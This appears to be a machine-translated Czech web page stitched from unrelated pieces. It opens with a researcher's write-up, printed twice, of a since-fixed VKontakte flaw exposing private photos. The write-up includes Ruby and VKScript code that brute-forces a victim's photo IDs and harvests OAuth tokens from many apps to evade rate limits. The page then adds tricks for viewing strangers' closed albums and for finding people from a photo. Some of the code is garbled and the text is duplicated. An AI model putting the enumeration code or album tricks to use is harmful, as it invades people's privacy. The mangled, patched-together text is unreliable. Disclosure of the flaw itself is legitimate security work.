• Vk soukromý. Zranitelnost VK: přístup k náhledům fotografií z dialogových oken a skrytých alb libovolného uživatele. Jak zobrazit soukromé fotografie a alba na VKontakte

    tl;dr

    V záložkách VK byla objevena zranitelnost, která umožňovala získat přímé odkazy na soukromé fotografie z osobních zpráv, alb libovolného uživatele/skupiny. Byl napsán skript, který třídil fotografie uživatele po určitou dobu a poté prostřednictvím této zranitelnosti získal přímé odkazy na obrázky. Stručně řečeno, bylo možné získat všechny vaše včerejší fotografie za 1 minutu, všechny fotografie nahrané minulý týden za 7 minut, minulý měsíc za 20 minut, minulý rok za 2 hodiny. Chyba zabezpečení byla nyní opravena. Správa VKontakte vyplatila odměnu 10 000 hlasů.


    Příběh začal obrázkem, který mi byl zaslán v osobní zprávě na VKontakte. Obvykle, pokud je nějaká věc důležitá, nahraji ji do cloudu, ale v mém případě to nebylo nutné a rozhodl jsem se použít funkci záložek Vkontakte.

    Krátce o této funkci: všechny věci, které se uživateli líbí, jsou přidány do záložek; nechybí ani funkce pro ruční přidání odkazu na uživatele a interní odkaz „VKontakte“. Poslední bod se mi zdál velmi zajímavý, protože po přidání odkazu na fotku jsem viděl její náhled a text s typem přidané entity:

    Když je odkaz přidán, server jej analyzuje, pokusí se zjistit, na jakou entitu odkazuje, a získá informace o tomto objektu z databáze. Pravděpodobnost, že vývojář na něco zapomene, je zpravidla při psaní tohoto druhu funkce s mnoha podmínkami velmi vysoká. Proto jsem si nemohl dovolit projít kolem a rozhodl jsem se věnovat pár minut malému experimentování.

    Ve výsledku se mi něco podařilo najít. Při přidání odkazu na fotografii, poznámku nebo video, které není přístupné, bylo možné získat nějaké soukromé informace o objektu. V případě fotek a videí se jedná o malý (150x150) náhled, na kterém je dost špatně něco vidět, nadpis se zobrazoval pro soukromé poznámky. Přes metodu API fave.getLinks bylo možné získat odkazy na obrázek, ale opět příliš malé (75px a 130px). Takže v podstatě nic vážného.

    Rozhodl jsem se přejít na mobilní verzi stránek, abych zkontroloval, zda se tam vše zobrazuje stejně jako v normální verzi. Při pohledu na kód stránky jsem viděl toto:

    Ano! V hodnotě atributu data-src_big byl uložen přímý odkaz na původní obrázek!

    Bylo tedy možné získat přímý odkaz na jakýkoli obrázek na Vkontakte, bez ohledu na to, kde byl nahrán a jaké měl nastavení ochrany osobních údajů. Může to být obrázek ze soukromých zpráv nebo fotografie ze soukromých alb libovolného uživatele/skupiny.

    Zdálo by se, že by se nad tím dalo zastavit a napsat vývojářům, ale zajímalo by mě, jestli by bylo možné pomocí této zranitelnosti získat přístup ke všem (dobře, nebo nahraným v určitém časovém období) fotkám uživatele. Hlavním problémem zde, jak jste pochopili, bylo, že odkaz na soukromou fotografii druhu není vždy znám. fotkaXXXXXX_XXXXXXX do záložek. Napadla mě myšlenka seřadit podle ID fotografie, ale z nějakého důvodu jsem ji okamžitě zavrhl jako šílenou. Zkontroloval jsem metody spojené s fotografiemi v API, podíval se, jak aplikace pracuje s alby, ale nenašel jsem žádné úniky, které by mi pomohly získat seznam s ID všech soukromých fotografií uživatele. Už jsem chtěl s tímto nápadem skoncovat, ale při opětovném pohledu na odkaz s fotkou jsem si najednou uvědomil, že to byl dobrý nápad.

    Jak fungují fotografie ve VK

    Jak byste mohli nahradit, odkaz na foto foto52708106_359542386 se skládá ze dvou částí: (ID uživatele)_(nějaké podivné číslo). Jak se tvoří druhá část?

    Bohužel, po dvou hodinách experimentování jsem tomu stále nerozuměl. V roce 2012 na HighLoad++ Oleg Illarionov řekl pár slov o tom, jak ukládají fotografie, o horizontálním shardingu a náhodném výběru serveru pro načtení, ale tato informace mi nic nedala, protože neexistuje žádné spojení mezi ID serveru a ID fotky. Je jasné, že existuje určité globální počítadlo, ale je tam nějaká jiná logika... Protože kdyby bylo druhé číslo tvořeno pomocí obvyklého automatického přírůstku, pak by hodnoty ID fotografií dosáhly obrovských hodnot dávno (například FB, v tuto chvíli je to ~ 700 bilionů), ale pro Vkontakte je tato hodnota pouze ~ 400 milionů (ačkoli, soudě podle statistik, denně uživatelé nahrávají více než 30 milionů fotografií). Tito. je jasné, že tento údaj není ojedinělý, ale není ani náhodný. Napsal jsem skript, který prošel fotografie „starých“ uživatelů a na základě obdržených dat vytvořil graf, jak moc se tento údaj změnil s každým rok:

    Je vidět, že hodnoty přeskakují v závislosti na některých faktorech (počet serverů nebo nová logika?). Podstatou ale je, že jsou poměrně malé (zejména za poslední 2-3 roky) a je velmi snadné vypočítat rozsah id pro požadované časové období. To znamená, že chcete-li zjistit přímé odkazy na uživatelské fotografie, například za poslední rok, musíte se pokusit uložit do záložek pouze 30 milionů (od _320000000 do _350000000) různých variant odkazů! Níže jsem popsal techniku ​​hrubé síly, která mi to umožnila během několika minut.

    Řazení fotografií

    To vše bylo možné přidat ručně přes rozhraní nebo napsat skript, který přidá jeden odkaz do záložek, ale to by bylo nudné a dlouhé. Rychlost vyhledávání by v tomto případě byla 3 záložky za sekundu, protože odeslat více než tři požadavky za sekundu na server Vkontakte je to zakázáno.

    Zrychlete vyhledávání x25

    Abych limit 3 požadavků trochu obešel, rozhodl jsem se metodu použít vykonat. V jednom volání této metody je možných 25 volání metod API.

    Var start = parseInt(Args.start); varend = parseInt(Args.end); var oběťId = Args.id; var odkaz = "http://vk.com/photo" + oběti + "_"; while(start != end) ( API.fave.addLink(( "odkaz": odkaz + začátek )); start = začátek + 1; );
    Tak bylo možné zvýšit rychlost hrubé síly až na 3 * 25 záložek / sec. Za poslední rok by se fotky třídily dlouho, ale krátkodobě už byl tento způsob třídění docela dobrý.

    Zrychlení iterace x25 * počet souběžných požadavků za sekundu

    Omezení počtu požadavků / sec platí pro každou aplikaci zvlášť, nikoli pro celého uživatele. Nic vám tedy nebrání odesílat mnoho požadavků paralelně, ale zároveň v nich používat tokeny z různých aplikací.

    Pro začátek bylo nutné najít (nebo vytvořit) potřebný počet aplikací. Byl napsán skript, který hledá samostatné aplikace v daném rozsahu ID aplikací:

    Třída StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
    Pro další urychlení dalšího výčtu bylo také možné vybírat aplikace podle počtu uživatelů:

    Ale rozhodl jsem se, že se tím nebudu trápit.

    Ok, aplikace byly nalezeny, nyní potřebují udělit oprávnění k našim uživatelským datům a přijímat tokeny. Pro autorizaci jsem musel použít mechanismus Implicit Flow. Musel jsem analyzovat autorizační URL z dialogového okna OAuth a vytáhnout token po přesměrování. Aby tato třída fungovala, jsou vyžadovány soubory cookie. p, l(login.vk.com) a remix-sid(vk.com):

    Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def autorizovat_aplikace(aplikace) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
    Kolik aplikací bylo nalezeno, tolik paralelních požadavků. Pro paralelizaci této celé věci bylo rozhodnuto použít drahokam Typhoeus, který se osvědčil v jiných úkolech. Vznikl takový malý bruteforcer:

    Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "dnes" => 366300000..366500000, "včera" => 366050000..366300000, "aktuální_měsíc" => 3650000000,0366600000000000000003.03. 0 0..365000000, "aktuální_rok" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY.defusken)toky:aH = Typ. Iterátor = 0 (@period).krok(25) do |foto_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(foto_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? ukončit hydra.run, pokud hydra.queued_requests.count.zero? end private def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
    Aby se hrubá síla ještě zrychlila, byl v reakci pokus zbavit se zbytečného těla, ale na HLAVA požadavek server "Vkontakte" vrátí chybu 501 Neimplementováno.

    Finální verze skriptu vypadá takto:

    Vyžadovat „nokogiri“ vyžadovat „open-uri“ vyžadovat „typhoeus“ vyžadovat „json“ vyžadovat „./standalone_apps_finder“ vyžadovat „./photos_bruteforcer“ vyžadovat „./authenticator“ bruteforcer = PhotosBruteforcer.new(id_oběti: ARGV, období: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - soubory cookie z login.vk.com # remixsid - soubory cookie z vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
    Po vypracování programu byly v záložkách všechny fotografie uživatele za dané období. Zbývalo jen přejít na mobilní verzi Vkontakte, otevřít konzoli prohlížeče, vytáhnout přímé odkazy a užít si fotografie v původní velikosti.

    Výsledek

    Obecně vše závisí na vašem internetovém připojení a rychlosti proxy serverů, latenci serverů Vkontakte, výkonu procesoru a mnoha dalších faktorech. Po otestování výše uvedeného skriptu na mém účtu jsem dostal následující čísla (bez času stráveného získáváním tokenů):

    Tabulka ukazuje průměrnou dobu potřebnou k vyzkoušení ID fotografií za dané období. Jsem si jistý, že to vše by se dalo urychlit 10-20krát. Například ve skriptu hrubou silou vytvořte jednu velkou frontu všech požadavků a běžnou synchronizaci mezi nimi, protože v mé implementaci jeden požadavek s časovým limitem zpomalí celý proces. Každopádně byste si mohli koupit pár instancí EC2 a získat všechny fotografie jakéhokoli uživatele za hodinu. Ale už se mi chtělo spát.

    A obecně je jedno, kolik času na tom útočník stráví, 5 hodin nebo celý den, protože tak či onak získá odkazy na soukromé obrázky. Schopnost ironicky získat přístup k soukromým informacím v omezeném čase je hlavní hrozbou, kterou tato zranitelnost představuje.

    Nahlášení chyby zabezpečení

    Nejprve byla zpráva odeslána na podporu, ale po odpovědi typu „díky, asi to nějak opravíme ...“ a týdnu čekání, pro mě bylo něco smutné. Děkujeme za pomoc s přímým kontaktováním vývojářů. Poté byly chyby během několika hodin uzavřeny a o několik dní později administrace převedla odměnu 10k na můj účet

    tl;dr

    V záložkách VK byla objevena zranitelnost, která umožňovala získat přímé odkazy na soukromé fotografie z osobních zpráv, alb libovolného uživatele/skupiny. Byl napsán skript, který třídil fotografie uživatele po určitou dobu a poté prostřednictvím této zranitelnosti získal přímé odkazy na obrázky. Stručně řečeno, bylo možné získat všechny vaše včerejší fotografie za 1 minutu, všechny fotografie nahrané minulý týden za 7 minut, minulý měsíc za 20 minut, minulý rok za 2 hodiny. Chyba zabezpečení byla nyní opravena. Správa VKontakte vyplatila odměnu 10 000 hlasů.


    Příběh začal obrázkem, který mi byl zaslán v osobní zprávě na VKontakte. Obvykle, pokud je nějaká věc důležitá, nahraji ji do cloudu, ale v mém případě to nebylo nutné a rozhodl jsem se použít funkci záložek Vkontakte.

    Krátce o této funkci: všechny věci, které se uživateli líbí, jsou přidány do záložek; nechybí ani funkce pro ruční přidání odkazu na uživatele a interní odkaz „VKontakte“. Poslední bod se mi zdál velmi zajímavý, protože po přidání odkazu na fotku jsem viděl její náhled a text s typem přidané entity:

    Když je odkaz přidán, server jej analyzuje, pokusí se zjistit, na jakou entitu odkazuje, a získá informace o tomto objektu z databáze. Pravděpodobnost, že vývojář na něco zapomene, je zpravidla při psaní tohoto druhu funkce s mnoha podmínkami velmi vysoká. Proto jsem si nemohl dovolit projít kolem a rozhodl jsem se věnovat pár minut malému experimentování.

    Ve výsledku se mi něco podařilo najít. Při přidání odkazu na fotografii, poznámku nebo video, které není přístupné, bylo možné získat nějaké soukromé informace o objektu. V případě fotek a videí se jedná o malý (150x150) náhled, na kterém je dost špatně něco vidět, nadpis se zobrazoval pro soukromé poznámky. Přes metodu API fave.getLinks bylo možné získat odkazy na obrázek, ale opět příliš malé (75px a 130px). Takže v podstatě nic vážného.

    Rozhodl jsem se přejít na mobilní verzi stránek, abych zkontroloval, zda se tam vše zobrazuje stejně jako v normální verzi. Při pohledu na kód stránky jsem viděl toto:

    Ano! V hodnotě atributu data-src_big byl uložen přímý odkaz na původní obrázek!

    Bylo tedy možné získat přímý odkaz na jakýkoli obrázek na Vkontakte, bez ohledu na to, kde byl nahrán a jaké měl nastavení ochrany osobních údajů. Může to být obrázek ze soukromých zpráv nebo fotografie ze soukromých alb libovolného uživatele/skupiny.

    Zdálo by se, že by se nad tím dalo zastavit a napsat vývojářům, ale zajímalo by mě, jestli by bylo možné pomocí této zranitelnosti získat přístup ke všem (dobře, nebo nahraným v určitém časovém období) fotkám uživatele. Hlavním problémem zde, jak jste pochopili, bylo, že odkaz na soukromou fotografii druhu není vždy znám. fotkaXXXXXX_XXXXXXX do záložek. Napadla mě myšlenka seřadit podle ID fotografie, ale z nějakého důvodu jsem ji okamžitě zavrhl jako šílenou. Zkontroloval jsem metody spojené s fotografiemi v API, podíval se, jak aplikace pracuje s alby, ale nenašel jsem žádné úniky, které by mi pomohly získat seznam s ID všech soukromých fotografií uživatele. Už jsem chtěl s tímto nápadem skoncovat, ale při opětovném pohledu na odkaz s fotkou jsem si najednou uvědomil, že to byl dobrý nápad.

    Jak fungují fotografie ve VK

    Jak byste mohli nahradit, odkaz na foto foto52708106_359542386 se skládá ze dvou částí: (ID uživatele)_(nějaké podivné číslo). Jak se tvoří druhá část?

    Bohužel, po dvou hodinách experimentování jsem tomu stále nerozuměl. V roce 2012 na HighLoad++ Oleg Illarionov řekl pár slov o tom, jak ukládají fotografie, o horizontálním shardingu a náhodném výběru serveru pro načtení, ale tato informace mi nic nedala, protože neexistuje žádné spojení mezi ID serveru a ID fotky. Je jasné, že existuje určité globální počítadlo, ale je tam nějaká jiná logika... Protože kdyby bylo druhé číslo tvořeno pomocí obvyklého automatického přírůstku, pak by hodnoty ID fotografií dosáhly obrovských hodnot dávno (například FB, v tuto chvíli je to ~ 700 bilionů), ale pro Vkontakte je tato hodnota pouze ~ 400 milionů (ačkoli, soudě podle statistik, denně uživatelé nahrávají více než 30 milionů fotografií). Tito. je jasné, že tento údaj není ojedinělý, ale není ani náhodný. Napsal jsem skript, který prošel fotografie „starých“ uživatelů a na základě obdržených dat vytvořil graf, jak moc se tento údaj změnil s každým rok:

    Je vidět, že hodnoty přeskakují v závislosti na některých faktorech (počet serverů nebo nová logika?). Podstatou ale je, že jsou poměrně malé (zejména za poslední 2-3 roky) a je velmi snadné vypočítat rozsah id pro požadované časové období. To znamená, že chcete-li zjistit přímé odkazy na uživatelské fotografie, například za poslední rok, musíte se pokusit uložit do záložek pouze 30 milionů (od _320000000 do _350000000) různých variant odkazů! Níže jsem popsal techniku ​​hrubé síly, která mi to umožnila během několika minut.

    Řazení fotografií

    To vše bylo možné přidat ručně přes rozhraní nebo napsat skript, který přidá jeden odkaz do záložek, ale to by bylo nudné a dlouhé. Rychlost vyhledávání by v tomto případě byla 3 záložky za sekundu, protože odeslat více než tři požadavky za sekundu na server Vkontakte je to zakázáno.

    Zrychlete vyhledávání x25

    Abych limit 3 požadavků trochu obešel, rozhodl jsem se metodu použít vykonat. V jednom volání této metody je možných 25 volání metod API.

    Var start = parseInt(Args.start); varend = parseInt(Args.end); var oběťId = Args.id; var odkaz = "http://vk.com/photo" + oběti + "_"; while(start != end) ( API.fave.addLink(( "odkaz": odkaz + začátek )); start = začátek + 1; );
    Tak bylo možné zvýšit rychlost hrubé síly až na 3 * 25 záložek / sec. Za poslední rok by se fotky třídily dlouho, ale krátkodobě už byl tento způsob třídění docela dobrý.

    Zrychlení iterace x25 * počet souběžných požadavků za sekundu

    Omezení počtu požadavků / sec platí pro každou aplikaci zvlášť, nikoli pro celého uživatele. Nic vám tedy nebrání odesílat mnoho požadavků paralelně, ale zároveň v nich používat tokeny z různých aplikací.

    Pro začátek bylo nutné najít (nebo vytvořit) potřebný počet aplikací. Byl napsán skript, který hledá samostatné aplikace v daném rozsahu ID aplikací:

    Třída StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
    Pro další urychlení dalšího výčtu bylo také možné vybírat aplikace podle počtu uživatelů:

    Ale rozhodl jsem se, že se tím nebudu trápit.

    Ok, aplikace byly nalezeny, nyní potřebují udělit oprávnění k našim uživatelským datům a přijímat tokeny. Pro autorizaci jsem musel použít mechanismus Implicit Flow. Musel jsem analyzovat autorizační URL z dialogového okna OAuth a vytáhnout token po přesměrování. Aby tato třída fungovala, jsou vyžadovány soubory cookie. p, l(login.vk.com) a remix-sid(vk.com):

    Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def autorizovat_aplikace(aplikace) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
    Kolik aplikací bylo nalezeno, tolik paralelních požadavků. Pro paralelizaci této celé věci bylo rozhodnuto použít drahokam Typhoeus, který se osvědčil v jiných úkolech. Vznikl takový malý bruteforcer:

    Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "dnes" => 366300000..366500000, "včera" => 366050000..366300000, "aktuální_měsíc" => 3650000000,0366600000000000000003.03. 0 0..365000000, "aktuální_rok" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY.defusken)toky:aH = Typ. Iterátor = 0 (@period).krok(25) do |foto_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(foto_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? ukončit hydra.run, pokud hydra.queued_requests.count.zero? end private def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
    Aby se hrubá síla ještě zrychlila, byl v reakci pokus zbavit se zbytečného těla, ale na HLAVA požadavek server "Vkontakte" vrátí chybu 501 Neimplementováno.

    Finální verze skriptu vypadá takto:

    Vyžadovat „nokogiri“ vyžadovat „open-uri“ vyžadovat „typhoeus“ vyžadovat „json“ vyžadovat „./standalone_apps_finder“ vyžadovat „./photos_bruteforcer“ vyžadovat „./authenticator“ bruteforcer = PhotosBruteforcer.new(id_oběti: ARGV, období: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - soubory cookie z login.vk.com # remixsid - soubory cookie z vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
    Po vypracování programu byly v záložkách všechny fotografie uživatele za dané období. Zbývalo jen přejít na mobilní verzi Vkontakte, otevřít konzoli prohlížeče, vytáhnout přímé odkazy a užít si fotografie v původní velikosti.

    Výsledek

    Obecně vše závisí na vašem internetovém připojení a rychlosti proxy serverů, latenci serverů Vkontakte, výkonu procesoru a mnoha dalších faktorech. Po otestování výše uvedeného skriptu na mém účtu jsem dostal následující čísla (bez času stráveného získáváním tokenů):

    Tabulka ukazuje průměrnou dobu potřebnou k vyzkoušení ID fotografií za dané období. Jsem si jistý, že to vše by se dalo urychlit 10-20krát. Například ve skriptu hrubou silou vytvořte jednu velkou frontu všech požadavků a běžnou synchronizaci mezi nimi, protože v mé implementaci jeden požadavek s časovým limitem zpomalí celý proces. Každopádně byste si mohli koupit pár instancí EC2 a získat všechny fotografie jakéhokoli uživatele za hodinu. Ale už se mi chtělo spát.

    A obecně je jedno, kolik času na tom útočník stráví, 5 hodin nebo celý den, protože tak či onak získá odkazy na soukromé obrázky. Schopnost ironicky získat přístup k soukromým informacím v omezeném čase je hlavní hrozbou, kterou tato zranitelnost představuje.

    Nahlášení chyby zabezpečení

    Nejprve byla zpráva odeslána na podporu, ale po odpovědi typu „díky, asi to nějak opravíme ...“ a týdnu čekání, pro mě bylo něco smutné. Mnohokrát děkujeme Bo0oM, který pomohl přímo kontaktovat vývojáře. Poté byly chyby během několika hodin uzavřeny a o několik dní později administrace převedla odměnu 10k na můj účet

    75 360 158 2

    Často se stává, že je zoufale nutné podívat se na fotografie uzavřeného profilu VK. Jak víte, každý uživatel má možnost nezávisle si zvolit míru soukromí svého profilu, takže zavření celého alba nebo jednotlivých fotek je otázkou pár kliknutí. Ukazuje se, že se můžete podívat na zavřené fotografie! Existují určité triky a „díry“, jeden z nich vám dnes prozradíme.

    Mějte na paměti, že všechny se zavírají okamžitě, takže není pravda, že tato, jako každá jiná metoda, bude platit za týden nebo měsíc.

    Budete potřebovat:

    Otevřený zdrojový kód

    Zkuste nejprve. Pokud se alba neotevřou, postupujte následovně. Otevřete tedy profil osoby, jejíž fotky chceme vidět. Dále musíme tuto stránku otevřít jako open source.

    Chcete-li to provést, klikněte pravým tlačítkem myši na volnou oblast a v kontextovém menu vyhledejte položku „Zobrazit zdrojový kód stránky“, „Zobrazit kód prvku“ nebo podobně. Pokud máte Google Chrome, můžete také použít klávesu F12. Před námi je tedy zdrojový kód stránky. Co bude dál?

    Hledáte ten správný kousek

    Pomocí kombinace kláves Ctrl + F otevřete vyhledávací lištu a zadejte tam slovo „alba“.

    Bude několik výsledků, ale potřebujeme jeden, za kterým budou následovat čísla (toto je ID profilu). V čísle bude tento fragment zpravidla třetí od začátku. Nalezeno? Skvělé, zkopírujte je pomocí klávesové zkratky Ctrl + C.

    Práce s adresním řádkem

    Takže máme potřebný fragment kódu. Co bude dál? Chcete-li zobrazit skryté fotografie ve Vkontakte, vraťte se na požadovanou stránku (stránku se zdrojovým kódem již nepotřebujeme).

    V adresním řádku prohlížeče vidíme odkaz jako vk.com/id#####, kde #### je ID stránky. Musíte vědět a přátelé. Umístíme kurzor na konec adresního řádku a zadáme do něj znaky: „?z =“, načež sem zkopírujeme fragment ze zdrojového kódu stránky, kterou jsme hledali.

    V důsledku toho by měl adresní řádek prohlížeče obsahovat následující: vk.com/id####?z=albums####, kde #### je ID osoby.

    Stiskneme Enter a před námi se otevřou všechny fotografie osoby.

    Tímto jednoduchým způsobem si můžete prohlížet fotografie v uzavřeném albu v kontaktu a také zobrazit seznam alb těch lidí, kteří odešli od přátel nebo neznámých uživatelů Vkontakte.

    Často kladené otázky

      Jak sledovat soukromé uživatelské album VK prostřednictvím telefonu?

      Pokyny pro prohlížení jsou stejné jako u počítače.

      Jaké jsou skryté funkce VKontakte?

      1. Pokud přejdete do sekce "Nastavení" a na kartě "Obecné" změníte jazyk na předrevoluční nebo sovětský, pak se rozhraní Vkontakte mírně změní.
      2. Pokud chcete, aby některé informace o vás zůstaly na vaší osobní stránce prázdné, přidejte do těchto polí kód.
      3. Ve sloupci "Pracovní místo" můžete vytvořit aktivní odkaz na jakoukoli skupinu Vkontakte. Chcete-li to provést, přejděte do sekce „Upravit“, vyberte kartu „Kariéra“ a do položky „Place“ napište název komunity, ve které jste členem.
      4. V části „Nastavení“ lze ID změnit na krátkou a zapamatovatelnou adresu.

      Jaká služba zobrazit skryté fotografie v kontaktu?

      Musíte najít fotku osoby, na které je označen, poté přejít na zrychlené prohlížení a procházet fotkou. I přesto, že je k nim běžný přístup uzavřen, bude možné si je prohlédnout. Technická služba zatím není schopna tuto „díru“ odstranit.

      Jak zobrazit uzavřený účet ve VK?

      Chcete-li zobrazit soukromý profil, potřebujete:
      1. Zjistěte ID profilu. najeďte myší na "JMÉNO přátel". Zkopírujeme odkaz.
      2. *[odkaz zablokován rozhodnutím administrace projektu].
      3. Čísla za "id=" představují ID profilu.
      Zkopírujte tyto obrázky a vložte je do potřebných odkazů.

      Kdo může prohlížet fotografie VKontakte?

      Podle toho, komu jste ke svým fotkám dali přístup.

      Jak zobrazit všechny fotografie v kontaktu?

      Tyto informace jsou popsány v článku.

      Jak zobrazit skupinovou fotografii v kontaktu?

      Najděte skupinu nebo stránku, která vás zajímá, a poté vyberte položku přímo pod vyhledávacím polem „Komunity“. Pak trochu vpravo uvidíte „Typ komunity“ (zaškrtněte políčko vedle: jakákoli, skupina, stránka, schůzka) a klikněte na hledat. Otevře se seznam skupin, ve kterém si můžete vybrat ty, které vám vyhovují. Pokud je skupina otevřená, můžete snadno zobrazit veškerý její obsah: zvuk, video, fotografie, diskuze.
      Pokud jste se dostali na stránku uzavřené skupiny, věnujte pozornost pravému hornímu rohu pod fotkou. Bude tam uvedeno: „Přihlásit se k odběru“ (na stránku) nebo „Použít“ (do skupiny).
      Počkejte prosím chvíli, protože vaši přihlášku kontrolují administrátoři skupiny. Pokud schválí, skupina se zobrazí v seznamu na vaší stránce. Nyní můžete zobrazit veškerý obsah skupiny.

    Obrovská sbírka soukromých fotografií ve VK (asi 100 milionů). Služba shromažďuje fotografie všech uživatelů sociálních sítí. sítě do jednoho adresáře.

    Vyhledání fotografií konkrétního uživatele je snadné – stačí je zadat. A smazat to jde těžko, když píšeš tvůrcům na e-mail, tak je šance malá a když daruješ, tak se šance zvyšuje.

    Jak skladiště shromažďuje fotografie ve VK? Vše je velmi jednoduché: služba automaticky nahraje fotografie všech uživatelů do sbírky online. Nezáleží na tom, kde fotku zveřejníte, v komunitě nebo profilu. I když je fotografie po několika minutách smazána, bude již ve skladu.

    Mnoho nespokojených uživatelů se proto obrátilo na Roskomnadzor, který přispěl k byl zablokován sklad dobytka na území Ruské federace. Blokování bypassu není možné.

    Shromažďování a uchovávání osobních údajů uživatelů je zakázáno. I když sami uživatelé vkládají fotografie na veřejnost.

    Pro teď stránky nefungují i s proxy servery. Majitelé od případu ihned po zablokování upustili. Můžete tak klidně spát a nebát se, že se někdo podívá na vaše osobní fotografie.

    Analogy Skotobazy

    V roce 2018 existovaly různé analogy, například „Spálené“, ale všechny nefungují, protože vývojáři Vkontakte vylepšili skripty, které zakazují robotům krást soukromé fotografie.

    Pozornost: Internet je plný "analogů" skladu dobytka, ale nejen že nefungují, ale jsou důvodem hacking účtu! Pokud na takové stránky narazíte, v žádném případě nezadávejte data z Vkontakte. Útočníci získají přístup k účtu a budou moci.

    Éra dobytčích skladů a podobných služeb pominula. Nyní je ukládání a distribuce intimních, soukromých fotografií zakázáno. Pokud nebudete dodržovat zákon, budete potrestáni.

    Dobrý den, přátelé! Dnes budeme hledat lidi podle fotek na sociální síti Vkontakte. Jen si představte, že máme pouze fotku a z této fotky potřebujeme najít jeho stránku. Možná to bude pouze v případě, že tuto fotografii nahrál na sociální síť a neskrýval ji (). To lze udělat, vyzkoušel jsem to v praxi, existuje několik osvědčených metod a nyní je zvážíme.

    Vyhledávání podle fotografií Vkontakte

    Abychom mohli využít tuto funkci sociální sítě a najít osobu, musíme nejprve nahrát fotografii, podle které budeme hledat svůj účet (). Nyní přejdeme do alba, do kterého jsme přidali tuto fotografii a klikneme na samotnou fotografii, aby se nám zcela načetla.

    Po načtení fotografie se podívejte do adresního řádku prohlížeče a zkopírujte adresu fotografie. Adresu fotografie není třeba kopírovat celou, ale pouze ta čísla, která jsou za slovem fotografie (spolu s ním) a před znakem %. Podívejte se na snímek obrazovky a vše bude jasné:

    Nyní přejděte na svou hlavní stránku a klikněte na položku nabídky "Novinky"

    Téměř úplně nahoře na stránce, která se otevře nad novinkami, máme pole pro vyhledávání fotografií. Vložíme do něj slovo kopie: hned za ním je adresa fotografie, kterou jste nahráli a podle které potřebujete najít osobu.

    Viz snímek obrazovky:

    Stiskneme Enter. A nahráváme všechny úplně stejné fotografie, které na sociální síť nahráli různí uživatelé. Samozřejmě, pokud je fotografie jedinečná, pak ve vašem případě bude pouze jeden takový uživatel. Stačí kliknout na fotografii a následovat odkaz na vlastníka této fotografie:

    To je vše, úkol jsme zvládli.

    Vyhledávání podle obrázků z Yandex

    Nyní vám pro obecný vývoj ukážu další způsob, jak najít osobu na Vkontakte podle fotografie. Všimněte si však, že to bude fungovat pouze v případě, že jej uživatel nahrál do avatara. Jde o vyhledávání obrázků z vyhledávače Yandex.

    V dalším okně klikněte na tlačítko "Vybrat soubor" pro nahrání fotografie do vyhledávacího systému.

    Prostřednictvím Průzkumníka najděte požadovaný obrázek v počítači, vyberte jej a klikněte na "Otevřít".

    Systém zobrazí váš obrázek a pod ním všechny podobné, které by mohl najít. S vysokou mírou pravděpodobnosti bude první obrázek přesně jako ten váš.

